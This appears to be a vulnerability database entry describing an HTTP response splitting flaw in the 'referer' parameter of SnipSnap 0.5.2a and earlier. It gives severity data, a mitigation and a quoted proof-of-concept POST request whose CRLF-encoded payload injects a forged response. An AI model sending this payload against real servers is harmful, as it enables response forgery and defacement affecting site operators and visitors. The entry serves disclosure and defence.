SnipSnap HTTP Response Splitting Vulnerability

vendor:

SnipSnap

by:

Unknown

5.5

CVSS

MEDIUM

HTTP response splitting

113

CWE

Product Name: SnipSnap

Affected Version From: 0.5.2a and prior

Affected Version To: Unknown

Patch Exists: NO

Related CWE: Unknown

CPE: a:snipsnap_project:snipsnap:0.5.2a

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

SnipSnap HTTP Response Splitting Vulnerability

The 'referer' parameter in SnipSnap is prone to an HTTP response splitting vulnerability. This allows an attacker to manipulate how POST requests are handled.

Mitigation:

Upgrade to a version of SnipSnap that has addressed this vulnerability.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11180/info

SnipSnap is reported prone to an HTTP response splitting vulnerability. The issue exists in the 'referer' parameter. The issue presents itself due to a flaw in the application that allows an attacker to manipulate how POST requests are handled.

This issue was identified in SnipSnap 0.5.2a and prior.

The following proof of concept example is available: 
POST /exec/authenticate HTTP/1.0
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-length: 197

referer=abc%0d%0aConnection:%20keep-alive%0d%0aContent-Length:%200%0d%0a%0d%
0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:20%0d%
0a%0d%0a<html>0wned!!</html>&cancel=cancel